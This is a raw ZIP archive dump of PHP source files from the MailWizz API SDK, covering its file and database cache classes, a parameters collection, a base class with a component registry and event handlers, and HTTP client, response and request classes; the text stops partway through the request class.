    PKq\Oo7'mailwizz/MailWizzApi/Cache/Abstract.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Cache_Abstract is the base class that all the caching classes should extend. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Cache * @since 1.0 */ abstract class MailWizzApi_Cache_Abstract extends MailWizzApi_Base { /** * @var array keeps a history of loaded keys for easier and faster reference */ protected $_loaded = array(); /** * Set data into the cache * * @param string $key * @param mixed $value * @return bool */ abstract public function set($key, $value); /** * Get data from the cache * * @param string $key * @return mixed */ abstract public function get($key); /** * Delete data from cache * * @param string $key * @return bool */ abstract public function delete($key); /** * Delete all data from cache * * @return bool */ abstract public function flush(); }PKq\T<66#mailwizz/MailWizzApi/Cache/File.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Cache_File makes use of the file system in order to cache data. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Cache * @since 1.0 */ class MailWizzApi_Cache_File extends MailWizzApi_Cache_Abstract { /** * @var string the path to the directory where the cache files will be stored. * * Please note, the cache directory needs to be writable by the web server (chmod 0777). * * Defaults to data/cache under same directory. */ private $_filesPath; /** * Cache data by given key. * * For consistency, the key will go through sha1() before it is saved. * * This method implements {@link MailWizzApi_Cache_Abstract::set()}. * * @param string $key * @param mixed $value * @return bool */ public function set($key, $value) { $value = serialize($value); if ($exists = $this->get($key)) { if ($value === serialize($exists)) { return true; } } $key = sha1($key); return @file_put_contents($this->getFilesPath() . '/' . $key.'.bin', $value); } /** * Get cached data by given key. * * For consistency, the key will go through sha1() * before it will be used to retrieve the cached data. * * This method implements {@link MailWizzApi_Cache_Abstract::get()}. * * @param string $key * @return mixed */ public function get($key) { $key = sha1($key); if (isset($this->_loaded[$key])) { return $this->_loaded[$key]; } if (!is_file($file = $this->getFilesPath() . '/' . $key.'.bin')) { return $this->_loaded[$key] = null; } return $this->_loaded[$key] = unserialize(file_get_contents($file)); } /** * Delete cached data by given key. * * For consistency, the key will go through sha1() * before it will be used to delete the cached data. * * This method implements {@link MailWizzApi_Cache_Abstract::delete()}. * * @param string $key * @return bool */ public function delete($key) { $key = sha1($key); if (isset($this->_loaded[$key])) { unset($this->_loaded[$key]); } if (is_file($file = $this->getFilesPath() . '/' . $key.'.bin')) { @unlink($file); return true; } return false; } /** * Delete all cached data. * * This method implements {@link MailWizzApi_Cache_Abstract::flush()}. * * @return bool */ public function flush() { $this->_loaded = array(); return $this->doFlush($this->getFilesPath()); } /** * Set the cache path. * * @param string the path to the directory that will store the files * @return MailWizzApi_Cache_File */ public function setFilesPath($path) { if (file_exists($path) && is_dir($path)) { $this->_filesPath = $path; } return $this; } /** * Get the cache path. * * It defaults to "data/cache" under the same directory. * * Please make sure the given directoy is writable by the webserver(chmod 0777). * * @return string */ public function getFilesPath() { if (empty($this->_filesPath)) { $this->_filesPath = dirname(__FILE__) . '/data/cache'; } return $this->_filesPath; } /** * Helper method to clear the cache directory contents * * @param string $path * @return bool */ protected function doFlush($path) { if (!file_exists($path) || !is_dir($path)) { return false; } if (($handle = opendir($path)) === false) { return false; } while (($file = readdir($handle)) !== false) { if($file[0] === '.') { continue; } $fullPath=$path.DIRECTORY_SEPARATOR.$file; if(is_dir($fullPath)) { $this->doFlush($fullPath); } else { @unlink($fullPath); } } closedir($handle); return true; } }PKq\=(b,b,'mailwizz/MailWizzApi/Cache/Database.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Cache_Database makes use of the PHP's {@link PDO} extension in order to cache data into a database. * * For now it only supports Mysql and SQlite. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Cache * @since 1.0 */ class MailWizzApi_Cache_Database extends MailWizzApi_Cache_Abstract { /** * @var PDO the PDO instance that should be imported. * * This is useful when the SDK is integrated with another application and you * have access to the database object. */ private $_importConnection; /** * @var string the PDO connection string. */ private $_connectionString; /** * @var string the username required to connect to the database. */ private $_username; /** * @var string the password required to connect to the database. */ private $_password; /** * @var PDO the newly created PDO instance used for all queries. */ private $_connection; /** * @var bool whether to create or not the database table. * * Set this to true for the first call, then after the database is created, * set it back to false. */ private $_createTable = false; /** * @var string the name of the database table. */ private $_tableName = 'mwa_cache'; /** * @var string the current driver in use. * * This is autodetected based on the connection string. */ private $_driver; /** * Cache data by given key. * * For consistency, the key will go through sha1() before it is saved. * * This method implements {@link MailWizzApi_Cache_Abstract::set()}. * * @param string $key * @param mixed $value * @return bool */ public function set($key, $value) { $value = serialize($value); if ($exists = $this->get($key)) { if ($value === serialize($exists)) { return true; } $key = sha1($key); $con = $this->getConnection(); $sth = $con->prepare('UPDATE `'.$this->getTableName().'` SET `value` = :v WHERE `key` = :k'); return $sth->execute(array(':v' => $value, ':k' => $key)); } $key = sha1($key); $con = $this->getConnection(); $sth = $con->prepare('INSERT INTO `'.$this->getTableName().'`(`key`, `value`) VALUES(:k, :v)'); return $sth->execute(array(':k' => $key, ':v' => $value)); } /** * Get cached data by given key. * * For consistency, the key will go through sha1() * before it will be used to retrieve the cached data. * * This method implements {@link MailWizzApi_Cache_Abstract::get()}. * * @param string $key * @return mixed */ public function get($key) { $key = sha1($key); if (isset($this->_loaded[$key])) { return $this->_loaded[$key]; } $con = $this->getConnection(); $sth = $con->prepare('SELECT `value` FROM `'.$this->getTableName().'` WHERE `key` = :k LIMIT 1'); $sth->execute(array(':k' => $key)); $row = $sth->fetch(PDO::FETCH_ASSOC); $sth->closeCursor(); return $this->_loaded[$key] = !empty($row['value']) ? unserialize($row['value']) : null; } /** * Delete cached data by given key. * * For consistency, the key will go through sha1() * before it will be used to delete the cached data. * * This method implements {@link MailWizzApi_Cache_Abstract::delete()}. * * @param string $key * @return bool */ public function delete($key) { $key = sha1($key); if (isset($this->_loaded[$key])) { unset($this->_loaded[$key]); } $con = $this->getConnection(); $sth = $con->prepare('DELETE FROM `'.$this->getTableName().'` WHERE `key` = :k'); return $sth->execute(array(':k' => $key)); } /** * Delete all cached data. * * This method implements {@link MailWizzApi_Cache_Abstract::flush()}. * * @return bool */ public function flush() { $this->_loaded = array(); $con = $this->getConnection(); $sth = $con->prepare('DELETE FROM `'.$this->getTableName().'` WHERE 1'); return $sth->execute(); } /** * Import a {@link PDO} connection to be reused instead of creating a new one. * * This is useful when the sdk is used inside another application that is already connected * to the database using {@link PDO} and same driver. * * In that case importing and reusing the connection makes more sense. * * @param mixed $connection * @return MailWizzApi_Cache_Database */ public function setImportConnection(PDO $connection) { $this->_importConnection = $connection; return $this; } /** * Get the imported connection, if any. * * @return mixed */ public function getImportConnection() { return $this->_importConnection; } /** * Set the database access username. * * @param string $username * @return MailWizzApi_Cache_Database */ public function setUsername($username) { $this->_username = $username; return $this; } /** * Get the database access username. * * @return string */ public function getUsername() { return $this->_username; } /** * Set the database access password. * * @param string $password * @return MailWizzApi_Cache_Database */ public function setPassword($password) { $this->_password = $password; return $this; } /** * Get the database access password. * * @return string */ public function getPassword() { return $this->_password; } /** * Set the name of the database table. * * @param string $name * @return MailWizzApi_Cache_Database */ public function setTableName($name) { $this->_tableName = htmlspecialchars($name, ENT_QUOTES, $this->getCharset()); return $this; } /** * Get the name of the database table name. * * @return string */ public function getTableName() { return $this->_tableName; } /** * Set whether the database table should be created or not. * * @param bool $bool * @return MailWizzApi_Cache_Database */ public function setCreateTable($bool) { $this->_createTable = (bool)$bool; return $this; } /** * Get whether the database table should be created or not. * * @return bool */ public function getCreateTable() { return $this->_createTable; } /** * Set the database connection string. * * Please note, this needs to be a valid DSN, see: * http://php.net/manual/en/ref.pdo-mysql.connection.php * * @param string $string * @return MailWizzApi_Cache_Database */ public function setConnectionString($string) { $this->_connectionString = $string; return $this; } /** * Get the database connection string. * * @return string */ public function getConnectionString() { return $this->_connectionString; } /** * Create the database table if it doesn't exists. * * Please make sure you disable the table creation after the table has been created * otherwise it will cause unnecessary overhead. */ protected function createTable() { if ($this->_driver === 'sqlite') { $sql = ' BEGIN; CREATE TABLE IF NOT EXISTS `'.$this->getTableName().'` ( `id` INTEGER PRIMARY KEY AUTOINCREMENT, `key` CHAR(40) NOT NULL, `value` BLOB NOT NULL ); CREATE INDEX `key` ON `'.$this->getTableName().'` (`key`); COMMIT; '; } elseif ($this->_driver === 'mysql') { $sql = ' CREATE TABLE IF NOT EXISTS `'.$this->getTableName().'` ( `id` INT(11) NOT NULL AUTO_INCREMENT, `key` CHAR(40) NOT NULL, `value` LONGBLOB NOT NULL, PRIMARY KEY (`id`), KEY `key` (`key`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; '; } else { throw new Exception('The "'.$this->_driver.'" driver is not implemented.'); } $this->_connection->exec($sql); } /** * Get the PDO connection. * * @return PDO */ public function getConnection() { if ($this->_connection === null && $this->getImportConnection() instanceof PDO) { $this->_connection = $this->getImportConnection(); } if ($this->_connection instanceof PDO) { return $this->_connection; } $connectionParts = explode(':', $this->getConnectionString()); $this->_driver = array_shift($connectionParts); if ($this->getCreateTable() && $this->_driver === 'sqlite') { $dbPath = array_shift($connectionParts); $dir = dirname($dbPath); if (!is_dir($dir)) { throw new Exception('The database storage directory: "'.$dir.'" does not exists.'); } if (!is_writable($dir)) { throw new Exception('The database storage path: "'.$dir.'" is not writable.'); } if (!is_file($dbPath)) { touch($dbPath); } } $this->_connection = new PDO($this->getConnectionString(), $this->getUsername(), $this->getPassword()); $this->_connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); if ($this->getCreateTable()) { $this->createTable(); } return $this->_connection; } /** * Close the database connection. * * This will only work if the connection is not imported. * * @return MailWizzApi_Cache_Database */ public function closeConnection() { if (!empty($this->_importConnection)) { return $this; } $this->_connection = null; return $this; } }PKq\$7s++mailwizz/MailWizzApi/Params.phpnu[ * @link http://www.yiiframework.com/ * @copyright 2008-2013 Yii Software LLC * @license http://www.yiiframework.com/license/ */ /** * CMap implements a collection that takes key-value pairs. * * You can access, add or remove an item with a key by using * {@link itemAt}, {@link add}, and {@link remove}. * To get the number of the items in the map, use {@link getCount}. * CMap can also be used like a regular array as follows, *
     * $map[$key]=$value; // add a key-value pair
     * unset($map[$key]); // remove the value with the specified key
     * if(isset($map[$key])) // if the map contains the key
     * foreach($map as $key=>$value) // traverse the items in the map
     * $n=count($map);  // returns the number of items in the map
     * 
    * * @property boolean $readOnly Whether this map is read-only or not. Defaults to false. * @property CMapIterator $iterator An iterator for traversing the items in the list. * @property integer $count The number of items in the map. * @property array $keys The key list. * * @author Qiang Xue * @package system.collections * @since 1.0 */ /** * MailWizzApi_Params implements a collection that takes key-value pairs. * * You can access, add or remove an item with a key by using * {@link itemAt}, {@link add}, and {@link remove}. * To get the number of the items in the map, use {@link getCount}. * MailWizzApi_Params can also be used like a regular array as follows, *
     * $map[$key]=$value; // add a key-value pair
     * unset($map[$key]); // remove the value with the specified key
     * if(isset($map[$key])) // if the map contains the key
     * foreach($map as $key=>$value) // traverse the items in the map
     * $n=count($map);  // returns the number of items in the map
     * 
    * * @property boolean $readOnly Whether this map is read-only or not. Defaults to false. * @property MailWizzApi_ParamsIterator $iterator An iterator for traversing the items in the list. * @property integer $count The number of items in the map. * @property array $keys The key list. * * @author Serban George Cristian * @link http://www.mailwizz.com * @copyright 2013-2015 http://www.mailwizz.com/ * @package MailWizzApi * @since 1.0 * * Implementation based on CMapIterator class file from the Yii framework. * Please see /license/yiiframework.txt file for license info. */ class MailWizzApi_Params extends MailWizzApi_Base implements IteratorAggregate,ArrayAccess,Countable { /** * @var array internal data storage */ private $_data = array(); /** * @var boolean whether this list is read-only */ private $_readOnly = false; /** * Constructor. * Initializes the list with an array or an iterable object. * @param array $data the intial data. Default is null, meaning no initialization. * @param boolean $readOnly whether the list is read-only * @throws CException If data is not null and neither an array nor an iterator. */ public function __construct($data = null, $readOnly = false) { if($data !== null) { $this->copyFrom($data); } $this->setReadOnly($readOnly); } /** * @return boolean whether this map is read-only or not. Defaults to false. */ public function getReadOnly() { return $this->_readOnly; } /** * @param boolean $value whether this list is read-only or not */ protected function setReadOnly($value) { $this->_readOnly = $value; } /** * Returns an iterator for traversing the items in the list. * This method is required by the interface IteratorAggregate. * @return CMapIterator an iterator for traversing the items in the list. */ public function getIterator() { return new MailWizzApi_ParamsIterator($this->_data); } /** * Returns the number of items in the map. * This method is required by Countable interface. * @return integer number of items in the map. */ public function count() { return $this->getCount(); } /** * Returns the number of items in the map. * @return integer the number of items in the map */ public function getCount() { return count($this->_data); } /** * @return array the key list */ public function getKeys() { return array_keys($this->_data); } /** * Returns the item with the specified key. * This method is exactly the same as {@link offsetGet}. * @param mixed $key the key * @return mixed the element at the offset, null if no element is found at the offset */ public function itemAt($key) { return isset($this->_data[$key]) ? $this->_data[$key] : null; } /** * Adds an item into the map. * Note, if the specified key already exists, the old value will be overwritten. * @param mixed $key key * @param mixed $value value * @throws CException if the map is read-only */ public function add($key, $value) { if (!$this->_readOnly) { if($key === null) { $this->_data[] = $value; } else { $this->_data[$key] = $value; } } else { throw new Exception('The params map is read only.'); } } /** * Removes an item from the map by its key. * @param mixed $key the key of the item to be removed * @return mixed the removed value, null if no such key exists. * @throws CException if the map is read-only */ public function remove($key) { if (!$this->_readOnly) { if (isset($this->_data[$key])) { $value = $this->_data[$key]; unset($this->_data[$key]); return $value; } else { // it is possible the value is null, which is not detected by isset unset($this->_data[$key]); return null; } } else { throw new Exception('The params map is read only.'); } } /** * Removes all items in the map. */ public function clear() { foreach(array_keys($this->_data) as $key) { $this->remove($key); } } /** * @param mixed $key the key * @return boolean whether the map contains an item with the specified key */ public function contains($key) { return isset($this->_data[$key]) || array_key_exists($key, $this->_data); } /** * @return array the list of items in array */ public function toArray() { return $this->_data; } /** * Copies iterable data into the map. * Note, existing data in the map will be cleared first. * @param mixed $data the data to be copied from, must be an array or object implementing Traversable * @throws CException If data is neither an array nor an iterator. */ public function copyFrom($data) { if (is_array($data) || $data instanceof Traversable) { if ($this->getCount()>0) { $this->clear(); } if ($data instanceof MailWizzApi_Params) { $data = $data->_data; } foreach ($data as $key => $value) { $this->add($key, $value); } } elseif ($data !== null) { throw new Exception('Params map data must be an array or an object implementing Traversable.'); } } /** * Merges iterable data into the map. * * Existing elements in the map will be overwritten if their keys are the same as those in the source. * If the merge is recursive, the following algorithm is performed: *
      *
    • the map data is saved as $a, and the source data is saved as $b;
    • *
    • if $a and $b both have an array indxed at the same string key, the arrays will be merged using this algorithm;
    • *
    • any integer-indexed elements in $b will be appended to $a and reindexed accordingly;
    • *
    • any string-indexed elements in $b will overwrite elements in $a with the same index;
    • *
    * * @param mixed $data the data to be merged with, must be an array or object implementing Traversable * @param boolean $recursive whether the merging should be recursive. * * @throws CException If data is neither an array nor an iterator. */ public function mergeWith($data, $recursive=true) { if (is_array($data) || $data instanceof Traversable) { if ($data instanceof MailWizzApi_Params) { $data = $data->_data; } if ($recursive) { if ($data instanceof Traversable) { $d=array(); foreach($data as $key => $value) { $d[$key] = $value; } $this->_data = self::mergeArray($this->_data, $d); } else { $this->_data = self::mergeArray($this->_data, $data); } } else { foreach($data as $key => $value) { $this->add($key, $value); } } } elseif ($data !== null) { throw new Exception('Params map data must be an array or an object implementing Traversable.'); } } /** * Merges two or more arrays into one recursively. * If each array has an element with the same string key value, the latter * will overwrite the former (different from array_merge_recursive). * Recursive merging will be conducted if both arrays have an element of array * type and are having the same key. * For integer-keyed elements, the elements from the latter array will * be appended to the former array. * @param array $a array to be merged to * @param array $b array to be merged from. You can specifiy additional * arrays via third argument, fourth argument etc. * @return array the merged array (the original arrays are not changed.) * @see mergeWith */ public static function mergeArray($a,$b) { $args = func_get_args(); $res = array_shift($args); while (!empty($args)) { $next = array_shift($args); foreach($next as $k => $v) { if (is_integer($k)) { isset($res[$k]) ? $res[] = $v : $res[$k] = $v; } elseif (is_array($v) && isset($res[$k]) && is_array($res[$k])) { $res[$k] = self::mergeArray($res[$k], $v); } else { $res[$k]=$v; } } } return $res; } /** * Returns whether there is an element at the specified offset. * This method is required by the interface ArrayAccess. * @param mixed $offset the offset to check on * @return boolean */ public function offsetExists($offset) { return $this->contains($offset); } /** * Returns the element at the specified offset. * This method is required by the interface ArrayAccess. * @param integer $offset the offset to retrieve element. * @return mixed the element at the offset, null if no element is found at the offset */ public function offsetGet($offset) { return $this->itemAt($offset); } /** * Sets the element at the specified offset. * This method is required by the interface ArrayAccess. * @param integer $offset the offset to set element * @param mixed $item the element value */ public function offsetSet($offset,$item) { $this->add($offset, $item); } /** * Unsets the element at the specified offset. * This method is required by the interface ArrayAccess. * @param mixed $offset the offset to unset element */ public function offsetUnset($offset) { $this->remove($offset); } }PKq\2k܀((mailwizz/MailWizzApi/Base.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Base is the base class for all the other classes used in the sdk. * * @author Serban George Cristian * @package MailWizzApi * @since 1.0 */ class MailWizzApi_Base { /** * Marker for before send request event */ const EVENT_BEFORE_SEND_REQUEST = 'beforeSendRequest'; /** * Marker for after send request event */ const EVENT_AFTER_SEND_REQUEST = 'afterSendRequest'; /** * @var MailWizzApi_Config the configuration object injected into the application at runtime */ private static $_config; /** * @var MailWizzApi_Params the package registry that will hold various components */ private static $_registry = array(); /** * @var MailWizzApi_Params the registered event handlers */ private static $_eventHandlers = array(); /** * Inject the configuration into the sdk * * @param MailWizzApi_Config $config */ public static function setConfig(MailWizzApi_Config $config) { self::$_config = $config; } /** * Returns the configuration object * * @return MailWizzApi_Config */ public static function getConfig() { return self::$_config; } /** * Add a new component to the registry * * @param string $key * @param mixed $value * @return MailWizzApi_Base */ public function addToRegistry($key, $value) { $this->getRegistry()->add($key, $value); return $this; } /** * Get the current registry object * * @return MailWizzApi_Params */ public function getRegistry() { if (!(self::$_registry instanceof MailWizzApi_Params)) { self::$_registry = new MailWizzApi_Params(self::$_registry); } return self::$_registry; } /** * Set the components used throughout the application lifecyle. * * Each component config array needs to have a `class` key containing a class name that can be autoloaded. * For example, adding a cache component would be done like : * *
         * $components = array(
         *     'cache'=>array(
         *         'class'             => 'MailWizzApi_Cache_Sqlite',
         *         'connectionString'  => 'sqlite:/absolute/path/to/your/sqlite.db',
         *     ),
         * );
         * $context->setComponents($components);
         * 
    * * Please note, if a named component exists, and you assign one with the same name, * it will get overriden by the second one. * * @param array $components * @return MailWizzApi_Base */ public function setComponents(array $components) { foreach ($components as $componentName => $config) { $this->setComponent($componentName, $config); } return $this; } /** * Set a single component used throughout the application lifecyle. * * The component config array needs to have a `class` key containing a class name that can be autoloaded. * For example, adding a cache component would be done like : * *
         * $context->setComponent('cache', array(
         *    'class'             => 'MailWizzApi_Cache_Sqlite',    
         *    'connectionString'  => 'sqlite:/absolute/path/to/your/sqlite.db',    
         * ));
         * 
    * * Please note, if a named component exists, and you assign one with the same name, * it will get overriden by the second one. * * @param string $componentName the name of the component accessed later via $context->componentName * @param array $config the component configuration array * @return MailWizzApi_Base */ public function setComponent($componentName, array $config) { if (empty($config['class'])) { throw new Exception('Please set the class property for "'.htmlspecialchars($componentName, ENT_QUOTES, $this->getConfig()->getCharset()).'" component.'); } $component = new $config['class']; if ($component instanceof MailWizzApi_Base) { $component->populateFromArray($config); } else { unset($config['class']); foreach ($config as $property => $value) { if (property_exists($component, $property)) { $reflection = new ReflectionProperty($component, $property); if ($reflection->isPublic()) { $component->$property = $value; } } } } $this->addToRegistry($componentName, $component); return $this; } /** * Register one or more callbacks/event handlers for the given event(s) * * A valid registration would be: * *
         * $eventHandlers = array(
         *     'eventName1' => array($object, 'method'),
         *     'eventName2' => array(
         *         array($object, 'method'),
         *         array($object, 'otherMethod'),
         *     )
         * );
         * 
    * * @param array $eventHandlers * @return MailWizzApi_Base */ public function setEventHandlers(array $eventHandlers) { foreach ($eventHandlers as $eventName => $callback) { if (empty($callback) || !is_array($callback)) { continue; } if (!is_array($callback[0]) && is_callable($callback)) { $this->getEventHandlers($eventName)->add(null, $callback); continue; } if (is_array($callback[0])) { foreach ($callback as $cb) { if (is_callable($cb)) { $this->getEventHandlers($eventName)->add(null, $cb); } } } } return $this; } /** * Return a list of callbacks/event handlers for the given event * * @param string $eventName * @return MailWizzApi_Params */ public function getEventHandlers($eventName) { if (!(self::$_eventHandlers instanceof MailWizzApi_Params)) { self::$_eventHandlers = new MailWizzApi_Params(self::$_eventHandlers); } if (!self::$_eventHandlers->contains($eventName) || !(self::$_eventHandlers->itemAt($eventName) instanceof MailWizzApi_Params)) { self::$_eventHandlers->add($eventName, new MailWizzApi_Params()); } return self::$_eventHandlers->itemAt($eventName); } /** * Remove all the event handlers bound to the event name * * @param string $eventName * @return MailWizzApi_Base */ public function removeEventHandlers($eventName) { self::$_eventHandlers->remove($eventName); return $this; } /** * Called from within a child class, will populate * all the setters matching the array keys with the array values * * @param mixed $params * @return MailWizzApi_Base */ protected function populateFromArray(array $params = array()) { foreach ($params as $name => $value) { $found = false; if (property_exists($this, $name)) { $param = $name; } else { $asSetterName = str_replace('_', ' ', $name); $asSetterName = ucwords($asSetterName); $asSetterName = str_replace(' ', '', $asSetterName); $asSetterName{0} = strtolower($asSetterName{0}); $param = property_exists($this, $asSetterName) ? $asSetterName : null; } if ($param) { $reflection = new ReflectionProperty($this, $param); if ($reflection->isPublic()) { $this->$param = $value; $found = true; } } if (!$found) { $methodName = str_replace('_', ' ', $name); $methodName = ucwords($methodName); $methodName = str_replace(' ', '', $methodName); $methodName = 'set'.$methodName; if (method_exists($this, $methodName)) { $reflection = new ReflectionMethod($this, $methodName); if ($reflection->isPublic()) { $this->$methodName($value); } } } } return $this; } /** * Magic setter * * This method should never be called directly from outside of the class. * * @param string $name * @param mixed $value */ public function __set($name, $value) { $methodName = 'set'.ucfirst($name); if (!method_exists($this, $methodName)) { $this->addToRegistry($name, $value); } else { $method = new ReflectionMethod($this, $methodName); if ($method->isPublic()) { $this->$methodName($value); } } } /** * Magic getter * * This method should never be called directly from outside of the class. * * @param string $name */ public function __get($name) { $methodName = 'get'.ucfirst($name); if (!method_exists($this, $methodName) && $this->getRegistry()->contains($name)) { return $this->getRegistry()->itemAt($name); } elseif (method_exists($this, $methodName)) { $method = new ReflectionMethod($this, $methodName); if ($method->isPublic()) { return $this->$methodName(); } } } }PKq\R^/$mailwizz/MailWizzApi/Http/Client.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Http_Client is the http client interface used to make the remote requests and receive the responses. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Http * @since 1.0 */ class MailWizzApi_Http_Client extends MailWizzApi_Base { /** * Marker for GET requests. */ const METHOD_GET = 'GET'; /** * Marker for POST requests. */ const METHOD_POST = 'POST'; /** * Marker for PUT requests. */ const METHOD_PUT = 'PUT'; /** * Marker for DELETE requests. */ const METHOD_DELETE = 'DELETE'; /** * Marker for the client version. */ const CLIENT_VERSION = '1.0'; /** * @var MailWizzApi_Params the GET params sent in the request. */ public $paramsGet = array(); /** * @var MailWizzApi_Params the POST params sent in the request. */ public $paramsPost = array(); /** * @var MailWizzApi_Params the PUT params sent in the request. */ public $paramsPut = array(); /** * @var MailWizzApi_Params the DELETE params sent in the request. */ public $paramsDelete = array(); /** * @var MailWizzApi_Params the headers sent in the request. */ public $headers = array(); /** * @var string the url where the remote calls will be made. */ public $url; /** * @var int the default timeout for request. */ public $timeout = 30; /** * @var bool whether to sign the request. */ public $signRequest = true; /** * @var bool whether to get the response headers. */ public $getResponseHeaders = false; /** * @var bool whether to cache the request response. */ public $enableCache = false; /** * @var string the method used in the request. */ public $method = self::METHOD_GET; /** * Constructor. * * @param mixed $options */ public function __construct(array $options = array()) { $this->populateFromArray($options); foreach (array('paramsGet', 'paramsPost', 'paramsPut', 'paramsDelete', 'headers') as $param) { if (!($this->$param instanceof MailWizzApi_Params)) { $this->$param = new MailWizzApi_Params($this->$param); } } } /** * Whether the request method is a GET method. * * @return bool */ public function getIsGetMethod() { return strtoupper($this->method) === self::METHOD_GET; } /** * Whether the request method is a POST method. * * @return bool */ public function getIsPostMethod() { return strtoupper($this->method) === self::METHOD_POST; } /** * Whether the request method is a PUT method. * * @return bool */ public function getIsPutMethod() { return strtoupper($this->method) === self::METHOD_PUT; } /** * Whether the request method is a DELETE method. * * @return bool */ public function getIsDeleteMethod() { return strtoupper($this->method) === self::METHOD_DELETE; } /** * Makes the request to the remote host. * * @return MailWizzApi_Http_Response */ public function request() { $request = new MailWizzApi_Http_Request($this); return $response = $request->send(); } }PKq\&mailwizz/MailWizzApi/Http/Response.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Http_Response is the class used to get the responses back from the API endpoints. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Http * @since 1.0 */ class MailWizzApi_Http_Response extends MailWizzApi_Base { /** * @var string $url the url from where the response came back. */ public $url; /** * @var MailWizzApi_Params $headers the headers that came back in the response. */ public $headers; /** * @var string $contentType the content type of the response. */ public $contentType; /** * @var string $httpMessage the returned http message. */ public $httpMessage; /** * @var int $curlCode the curl response code. */ public $curlCode = 0; /** * @var string $curlMessage the curl response message. */ public $curlMessage; /** * @var bool $storeCurlInfo whether to store the curl info from the response. */ public $storeCurlInfo = false; /** * @var MailWizzApi_Params $curlInfo the curl info returned in the response. */ public $curlInfo; /** * @var MailWizzApi_Params $body the body of the response. */ public $body; /** * @var array the list of http status codes definitions. */ public static $statusTexts = array( 100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', // RFC2518 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-Status', // RFC4918 208 => 'Already Reported', // RFC5842 226 => 'IM Used', // RFC3229 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 306 => 'Reserved', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect', // RFC-reschke-http-status-308-07 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Timeout', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Long', 415 => 'Unsupported Media Type', 416 => 'Requested Range Not Satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', // RFC2324 422 => 'Unprocessable Entity', // RFC4918 423 => 'Locked', // RFC4918 424 => 'Failed Dependency', // RFC4918 425 => 'Reserved for WebDAV advanced collections expired proposal', // RFC2817 426 => 'Upgrade Required', // RFC2817 428 => 'Precondition Required', // RFC6585 429 => 'Too Many Requests', // RFC6585 431 => 'Request Header Fields Too Large', // RFC6585 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 505 => 'HTTP Version Not Supported', 506 => 'Variant Also Negotiates (Experimental)', // RFC2295 507 => 'Insufficient Storage', // RFC4918 508 => 'Loop Detected', // RFC5842 510 => 'Not Extended', // RFC2774 511 => 'Network Authentication Required', // RFC6585 ); /** * @var MailWizzApi_Http_Request */ public $request; /** * @var int the returned http code. */ private $_httpCode; /** * Contructor. * * @param MailWizzApi_Http_Request $request */ public function __construct(MailWizzApi_Http_Request $request) { // $this->request = $request; $this->populate($request->params->toArray()); } /** * Set the http code and http message based on the received response * * @param int $code * @return MailWizzApi_Http_Response */ public function setHttpCode($code) { $this->_httpCode = $code = (int)$code; $this->httpMessage = isset(self::$statusTexts[$code]) ? self::$statusTexts[$code] : null; return $this; } /** * Get the received http code. * * @return int */ public function getHttpCode() { return $this->_httpCode; } /** * Whether the response contains a curl error. * * @return bool */ public function getIsCurlError() { return (int)$this->curlCode > 0; } /** * Whether the response contains a http error. * * @return bool */ public function getIsHttpError() { return (int)$this->_httpCode < 200 || (int)$this->_httpCode >= 300; } /** * Whether the response is successful. * * @return bool */ public function getIsSuccess() { return $this->getIsCurlError() === false && $this->getIsHttpError() === false; } /** * Whether the response is not successful * * @return bool */ public function getIsError() { return $this->getIsSuccess() === false; } /** * If there is a http error or a curl error, retrieve the error message. * * @return mixed */ public function getMessage() { if ($this->getIsCurlError()) { return $this->curlMessage; } if ($this->getIsHttpError()) { return $this->httpMessage; } return null; } /** * If there is a http error or a curl error, retrieve the error code. * * @return mixed */ public function getCode() { if ($this->getIsCurlError()) { return $this->curlCode; } if ($this->getIsHttpError()) { return $this->_httpCode; } return false; } /** * Calls all the setters and populate the class based on the given array. * * @param array $params * @return MailWizzApi_Http_Response */ public function populate(array $params = array()) { if ($this->storeCurlInfo) { $this->curlInfo = new MailWizzApi_Params($params); } $this->populateFromArray($params); return $this; } }PKq\(#(#%mailwizz/MailWizzApi/Http/Request.phpnu[ * @link http://www.mailwizz.com/ * @copyright 2013-2015 http://www.mailwizz.com/ */ /** * MailWizzApi_Http_Request is the request class used to send the requests to the API endpoints. * * @author Serban George Cristian * @package MailWizzApi * @subpackage Http * @since 1.0 */ class MailWizzApi_Http_Request extends MailWizzApi_Base { /** * @var MailWizzApi_Http_Client the http client injected. */ public $client; /** * @var MailWizzApi_Params the request params. */ public $params; /** * Constructor. * * @param MailWizzApi_Http_Client $client */ public function __construct(MailWizzApi_Http_Client $client) { $this->client = $client; } /** * Send the request to the remote url. * * @return MailWizzApi_Http_Response */ public function send() { foreach 